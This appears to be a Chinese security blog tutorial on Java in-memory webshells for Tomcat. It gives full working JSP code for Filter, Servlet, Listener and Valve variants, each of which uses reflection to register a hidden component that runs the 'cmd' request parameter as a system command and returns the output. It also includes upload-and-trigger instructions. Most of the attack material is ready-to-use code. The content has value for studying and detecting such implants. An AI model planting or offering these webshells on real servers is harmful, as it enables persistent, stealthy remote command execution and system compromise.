java_0">java内存马
idea 2024.1.2专业版
jdk1.8.0_181
tomcat 8.5.82
默认有java基础,Javassist,Jsp,JavaEE都会一点
更新ing
文章目录
- java内存马
- 0. 一些基础
- 1. filter型内存马
- 2. Servlet型内存马
- 3. listener型内存马
- 4. Tomcat特有的Valve内存马
- 1. valve基础
- 2. valve内存马
- 5. Spring内存马
- 参考
0. 一些基础
tomcat包括五大容器和一个连接器,五大容器是Service、Engine、Host、Context、Wrapper,连接器是Connector。
tomcat中的三种context
ServletContext接口的实现类为ApplicationContext类和ApplicationContextFacade类,其中ApplicationContextFacade是对ApplicationContext类的包装。我们对Context容器中各种资源进行操作时,最终调用的还是StandardContext中的方法,因此StandardContext是Tomcat中负责与底层交互的Context。
1. filter型内存马
filter型内存马在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。
filter接口主要定义了以下三种方法:
- init(FilterConfig config): Filter初始化时调用一般位于tomcat服务器开始部署的时候。
- doFilter(ServletRequest request, ServletResponse response, FilterChain chain): 核心方法,用于处理请求并执行过滤逻辑。内存马的核心代码部分在这里执行。
- destroy(): Filter销毁时调用,释放资源。
Filter内存马的核心思想是利用Java的反射机制,在运行时动态注册一个恶意的Filter,从而拦截并处理所有符合URL模式的请求接收处理参数对应的值进行命令执行,并放行不符合条件的请求,实现对目标系统的控制。
pom.xml添加
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-catalina</artifactId><version>9.0.55</version>
</dependency>
webapp目录下filter.jsp
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%><%// 注入流程: ServletContext -> ApplicationContext -> StandardContext -> filterConfigs -> 注册 Filterfinal String name = "filter"; // Filter 的名称// 1. 获取 ServletContextServletContext servletContext = request.getServletContext();// 2. 通过反射获取 ApplicationContext// 反射获取 ServletContext 中的 private 字段 "context" (其类型为 ApplicationContext)Field appctx = servletContext.getClass().getDeclaredField("context");appctx.setAccessible(true); // 设置字段可访问ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); // 获取字段值// 3. 通过反射获取 StandardContext// 反射获取 ApplicationContext 中的 private 字段 "context" (其类型为 StandardContext)Field stdctx = applicationContext.getClass().getDeclaredField("context");stdctx.setAccessible(true); // 设置字段可访问StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); // 获取字段值// 4. 通过反射获取 filterConfigs (存储已注册 Filter 的 Map)// 反射获取 StandardContext 中的 private 字段 "filterConfigs"Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");Configs.setAccessible(true); // 设置字段可访问Map filterConfigs = (Map) Configs.get(standardContext); // 获取字段值// 5. 检查是否已存在同名 Filterif (filterConfigs.get(name) == null) {// 6. 创建恶意的 Filter 实例Filter filter = new Filter() {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {// Filter 初始化方法 (此处为空)}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {// Filter 的核心处理方法HttpServletRequest lrequest = (HttpServletRequest) servletRequest;HttpServletResponse lresponse = (HttpServletResponse) servletResponse;lresponse.setContentType("text/html; charset=UTF-8");lresponse.setCharacterEncoding("UTF-8");// 如果请求参数中包含 "cmd",则执行命令if (lrequest.getParameter("cmd") != null) {Process process = Runtime.getRuntime().exec(lrequest.getParameter("cmd")); // 执行系统命令// 读取命令执行结果java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(process.getInputStream()));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder stringBuilder = new StringBuilder();String line;while ((line = bufferedReader.readLine()) != null) {stringBuilder.append(line + '\n');}// 将命令执行结果写入响应lresponse.getOutputStream().write(stringBuilder.toString().getBytes());lresponse.getOutputStream().flush();lresponse.getOutputStream().close();return; // 阻止请求继续传递}filterChain.doFilter(servletRequest, servletResponse); // 放行不符合条件的请求}@Overridepublic void destroy() {// Filter 销毁方法}};// 7. 创建 FilterDef (Filter 定义)FilterDef filterDef = new FilterDef();filterDef.setFilter(filter); // 设置 Filter 实例filterDef.setFilterName(name); // 设置 Filter 名称filterDef.setFilterClass(filter.getClass().getName()); // 设置 Filter 类名standardContext.addFilterDef(filterDef); // 将 FilterDef 添加到 StandardContext// 8. 创建 FilterMap (Filter 映射)FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/filter"); // 设置 Filter 映射的 URL 模式filterMap.setFilterName(name); // 设置 Filter 名称filterMap.setDispatcher(DispatcherType.REQUEST.name()); // 设置触发类型为 REQUESTstandardContext.addFilterMapBefore(filterMap); // 将 FilterMap 添加到 StandardContext (添加到其他 FilterMap 之前)// 9. 创建 ApplicationFilterConfig (Filter 配置)// 反射获取 ApplicationFilterConfig 的构造方法 (参数为 Context 和 FilterDef)Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true); // 设置构造方法可访问// 通过反射创建 ApplicationFilterConfig 实例ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);// 10. 将 FilterConfig 添加到 filterConfigs 中,完成 Filter 注册filterConfigs.put(name, filterConfig);}
%>
上传该jsp文件到webapp目录然后浏览器访问filter.jsp
文件触发代码,内存马注入成功之后就可以通过路由/filter?cmd
执行命令。
主要的一些关键步骤:
- 首先获取ServletContext: 通过当前请求对象(request)或其他方式获取ServletContext,request对象的获取可以在jsp文件和filter,servlet,listen。ServletContext是Web应用,ServletContext 对象代表整个 Web 应用本身,提供访问应用资源、配置信息、服务器信息、管理全局属性、日志记录、请求转发以及动态注册组件(Servlet、Filter、Listener)等核心功能,是 Web 应用开发的关键对象,也是内存马注入的目标。
- 然后通过反射获取StandardContext: 通过反射获取ServletContext中的context字段,该字段类型为ApplicationContext。再通过反射获取ApplicationContext中的context字段,该字段类型为StandardContext,StandardContext是Tomcat中管理Web应用的核心组件。
- 最后动态注册Filter:
- 通过反射获取StandardContext中的filterConfigs字段,该字段是一个Map,存储了所有已注册的Filter配置。
- 创建恶意的Filter对象,该对象实现了Filter接口,并在doFilter方法中实现恶意逻辑,例如执行命令、上传文件、反弹Shell等。
- 创建FilterDef对象,设置Filter的名称、类名等信息。
- 创建FilterMap对象,设置Filter拦截的URL模式。
- 通过反射创建ApplicationFilterConfig对象,将StandardContext和FilterDef作为参数传入。
- 将Filter的名称和ApplicationFilterConfig对象添加到filterConfigs中。
2. Servlet型内存马
Servlet 内存马通过动态注册一个恶意的 Servlet 来接管特定 URL 的请求,从而实现对目标系统的控制。
Servlet 接口定义了以下三个主要的方法:
- init(ServletConfig config): Servlet 初始化时调用,正常情况下用于读取配置信息和初始化资源。每个 Servlet 实例只会被初始化一次。
- service(ServletRequest req, ServletResponse res): Servlet 处理请求的核心方法。对于 HTTP 请求,通常会调用 HttpServlet 的 doGet、doPost 等方法。
- destroy(): Servlet 销毁时调用,用于释放资源。每个 Servlet 实例只会被销毁一次。
如果写成java类的话得在web.xml里加
<servlet><servlet-name>evilServlet</servlet-name><servlet-class>com.example.filtershell.EvilServlet</servlet-class><!-- 设置启动顺序 --><load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping><servlet-name>evilServlet</servlet-name><url-pattern>/evil</url-pattern>
</servlet-mapping>
下面用jsp实现
servlet.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %><%// 定义恶意Servlet类class EvilServlet extends HttpServlet {@Overridepublic void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {String cmd = request.getParameter("cmd");if (cmd != null) {try {Process process = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(process.getInputStream()));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}response.setContentType("text/html; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(sb.toString());//response.getWriter() 来获取一个可以向客户端发送字符文本的 PrintWriter 对象。} catch (Exception e) {response.setContentType("text/html; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(e.toString());}}}@Overridepublic void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {doGet(request, response);}}// 注入流程final String servletName = "evilServlet";final String urlPattern = "/evil";// 1. 获取 StandardContext//servletContext->ApplicationContext->StandardContextServletContext servletContext = request.getServletContext();Field appContextField = servletContext.getClass().getDeclaredField("context");appContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);//获取context字段在applicationContext对象上的当前值// 2. 检查 Servlet 是否已存在,防止重复注入if (standardContext.findChild(servletName) == null) {// 3. 创建 WrapperWrapper wrapper = standardContext.createWrapper();wrapper.setName(servletName);wrapper.setServletClass(EvilServlet.class.getName());wrapper.setServlet(new EvilServlet());wrapper.setLoadOnStartup(1);// 4. 添加 Servlet 配置standardContext.addChild(wrapper);standardContext.addServletMappingDecoded(urlPattern, servletName);out.println("Servlet 注入成功!");out.println("访问路径: " + urlPattern);out.println("支持参数: cmd");} else {out.println("Servlet 已存在!");}
%>
上传该jsp文件到webapp目录然后浏览器访问servlet.jsp文件触发代码,内存马注入成功之后就可以通过路由/evil?cmd执行命令。
主要的一些关键步骤:
-
恶意 EvilServlet 类: 继承自 HttpServlet,重写了 doGet 和 doPost 方法。如果请求参数中包含 cmd,则将其作为系统命令执行,并将结果返回给客户端。
-
注入流程:
-
获取 StandardContext: 与 Filter 型内存马类似,通过 ServletContext 和反射机制获取 StandardContext。
-
检查 Servlet 是否已存在: 通过 standardContext.findChild(servletName) 检查是否已存在同名的 Servlet,避免重复注入。
-
创建 Wrapper:
使用 standardContext.createWrapper() 创建一个 Wrapper 对象。
- wrapper.setName(servletName): 设置 Servlet 名称。
- wrapper.setServletClass(EvilServlet.class.getName()): 设置 Servlet 类名。
- wrapper.setServlet(new EvilServlet()): 设置 Servlet 实例,也可以选择不进行设置。
- wrapper.setLoadOnStartup(1): 设置 Servlet 的启动优先级,1 表示在 Web 应用启动时加载该 Servlet。
-
添加 Servlet 配置:
- standardContext.addChild(wrapper): 将 Wrapper 添加到 StandardContext 中。
- standardContext.addServletMappingDecoded(urlPattern, servletName): 添加 URL 映射,将 /evil 映射到 evilServlet。
-
3. listener型内存马
listener型内存马在运行时动态注册一个恶意的 Listener。当 Web 应用程序的生命周期事件或属性变更事件发生时,这个恶意的 Listener 就会执行预先设定的恶意代码。
Listener (监听器) 是 Java Servlet 规范中定义的一种特殊组件,用于监听 Web 应用程序中的特定事件,并在事件发生时执行相应的操作。监听器可以用来监听多种类型的事件,例如:
-
应用程序生命周期事件: 与 ServletContext(应用程序)的初始化和销毁相关的事件。
-
会话生命周期事件: 与用户会话的创建、修改和失效相关的事件。
-
请求生命周期事件: 与 HTTP 请求的处理相关的事件。
-
属性变更: 与 ServletContext、会话或请求对象中属性的添加、删除或替换相关的事件。
-
**requestInitialized(ServletRequestEvent sre):**此方法在每个 HTTP 请求开始时触发,如果 cmd 参数存在,它将 cmd 的值作为系统命令执行(使用 Runtime.getRuntime().exec())。
-
**requestDestroyed(ServletRequestEvent sre):**此方法在每个 HTTP 请求结束时调用。
与filter和servlet内存马区别:
主要区别在于触发方式。Filter 和 Servlet 型内存马通常需要通过特定的 URL 请求来触发,而 Listener 型内存马则是在特定事件发生时自动触发。
listener一般在web.xml这样配置,但这里不必配置
<listener><listener-class>com.example.MyServletContextListener</listener-class>
</listener>
使用jsp写
listener.jsp
ServletRequestListener是用来监听ServletRequest对象的,当我们访问任意资源时,都会触发ServletRequestListener
接口的requestInitialized()
方法。
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.util.logging.Logger" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.*" %><%// 定义恶意Listenerclass EvilListener implements ServletRequestListener {@Overridepublic void requestInitialized(ServletRequestEvent sre) {// 每次请求初始化的时候处理Logger logger = Logger.getLogger(EvilListener.class.getName());logger.info("start of listen");HttpServletRequest request = (HttpServletRequest) sre.getServletRequest();String cmd = request.getParameter("cmd");if (cmd != null) {try {InputStream in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",request.getParameter("cmd")}).getInputStream();BufferedReader br = new BufferedReader(new InputStreamReader(in));//InputStreamReader 是一个桥接器,它将字节流转换为字符流。//BufferedReader 是一个用于读取文本(字符)输入流(如文件或网络连接)并缓冲字符以提供字符、数组和行的高效读取的类。StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}Field requestF = request.getClass().getDeclaredField("request");requestF.setAccessible(true);Request req = (Request)requestF.get(request);req.getResponse().setContentType("text/plain; charset=UTF-8");req.getResponse().setCharacterEncoding("UTF-8");req.getResponse().getWriter().write(sb.toString());} catch (Exception e) {e.printStackTrace();}}}@Overridepublic void requestDestroyed(ServletRequestEvent sre){// 每次请求结束时的处理Logger logger = Logger.getLogger(EvilListener.class.getName());logger.info("ends of listen");}}// 注入流程// 1. 获取StandardContextServletContext servletContext = request.getSession().getServletContext();Field appContextField = servletContext.getClass().getDeclaredField("context");appContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// 2. 创建并添加ListenerServletRequestListener evilListener = new EvilListener();standardContext.addApplicationEventListener(evilListener);out.println("Listener注入成功!");
%>
上传listener.jsp后浏览器访问listener.jsp触发代码,之后就可访问任意路由传参cmd执行命令。
注入过程中的关键步骤:
- 获取 StandardContext:
- 从当前请求中获取 ServletContext 对象。
- 使用反射访问 ServletContext 中的 context 字段(该字段的类型为 ApplicationContext)。
- 再次使用反射访问 ApplicationContext 中的 context 字段(此时该字段的类型为 StandardContext)。StandardContext 是 Tomcat 内部对 Web 应用程序的表示。
- 创建并注册恶意 Listener:
- 创建 EvilListener 类的实例。
- 使用 StandardContext 对象的 addApplicationEventListener() 方法注册恶意 Listener。这会将 Listener 添加到 Web 应用程序的事件处理流程中。
4. Tomcat特有的Valve内存马
1. valve基础
Valve (阀门) 是 Tomcat 特有的一种组件,是 Tomcat 的 Pipeline-Valve 架构中的组件,类似 Filter,但工作在更底层,存在于 Tomcat 的 Pipeline-Valve 架构中。Valve 可以拦截和处理进入 Tomcat 容器的 HTTP 请求,并在请求处理完成后对响应进行处理。
Pipeline-Valve 架构:
Tomcat 的请求处理流程是通过 Pipeline-Valve 架构实现的。每个容器(Engine, Host, Context, Wrapper)都有自己的 Pipeline,Pipeline 中包含一系列 Valve,维护着先进先出的队列。
- First Valve (首阀门): 管道中的第一个 Valve,通常用于执行一些全局性的预处理操作。
- Intermediate Valve (中间阀门): 可以有多个,按顺序执行,用于实现各种业务逻辑。
- Basic Valve (基础阀门): 管道的最后一个 Valve,每个 Pipeline 必须有且只有一个。它负责调用 Servlet 或下一个容器的 Pipeline。
Valve 的关键方法:
- invoke(Request request, Response response): 此方法在每个 HTTP 请求到达 Valve 时触发。Valve 可以在此方法中对请求进行处理,并决定是否将请求传递给下一个 Valve 或 Servlet。如果 cmd 参数存在,它可以将 cmd 的值作为系统命令执行 (使用 Runtime.getRuntime().exec())。getNext().invoke(request, response) 将请求传递到下一个 Valve。
2. valve内存马
Valve 型内存马 工作在 Tomcat 的底层请求处理流程中,不需要配置 URL 映射,可以在请求到达 Servlet 之前或之后触发,甚至可以拦截所有请求, 比 filter 更早拦截。
valve.jsp
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.List" %>
<%@ page import="org.apache.catalina.Pipeline" %><%!class EvilValve extends ValveBase {@Overridepublic void invoke(Request request, Response response) throws IOException, ServletException {String cmd = request.getParameter("cmd");if (cmd != null && !cmd.isEmpty()) {try {Process p = Runtime.getRuntime().exec(cmd);BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));StringBuilder sb = new StringBuilder();String line;while ((line = br.readLine()) != null) {sb.append(line).append("\n");}response.setContentType("text/plain; charset=UTF-8");response.setCharacterEncoding("UTF-8");response.getWriter().write(sb.toString());response.setStatus(HttpServletResponse.SC_OK);response.getWriter().flush();response.getWriter().close();return;} catch (Exception e) {e.printStackTrace();}}getNext().invoke(request, response);}}%>
<%try {// 1. 反射获取 StandardContextField requestField = request.getClass().getDeclaredField("request");requestField.setAccessible(true);Request req = (Request) requestField.get(request);StandardContext standardContext = (StandardContext) req.getContext();// 2. 获取 PipelinePipeline pipeline = standardContext.getPipeline();// 3. 创建并添加 Valvepipeline.addValve(new EvilValve());out.println("Valve 注入成功!");} catch (Exception e) {e.printStackTrace(response.getWriter());}
%>
上传 valve.jsp 访问 valve.jsp 触发代码,之后就可访问任意路由传参 cmd 执行命令。
注入过程中的关键步骤:
- 获取 StandardContext:
- 从当前请求对象 request 中通过反射获取 request 属性,它的类型是 org.apache.catalina.connector.Request。
- 通过 req.getContext() 获取 StandardContext 对象。
- 获取 Pipeline:
- 通过 standardContext.getPipeline() 获取 Pipeline 对象。
- 创建并注册恶意 Valve:
- 创建 EvilValve 类的实例。
- 使用 Pipeline 对象的 addValve() 方法注册恶意 Valve。这会将 Valve 添加到 Web 应用程序的 Valve 处理流程中。
5. Spring内存马
施工中ing
Java Agent看下一篇
还是挺复杂的
参考
Java内存马深入分析 Yu4xr安全
Java安全学习——内存马 枫のBlog
从零学习Agent内存马 小菜鸡学web
Java Web安全 百安科技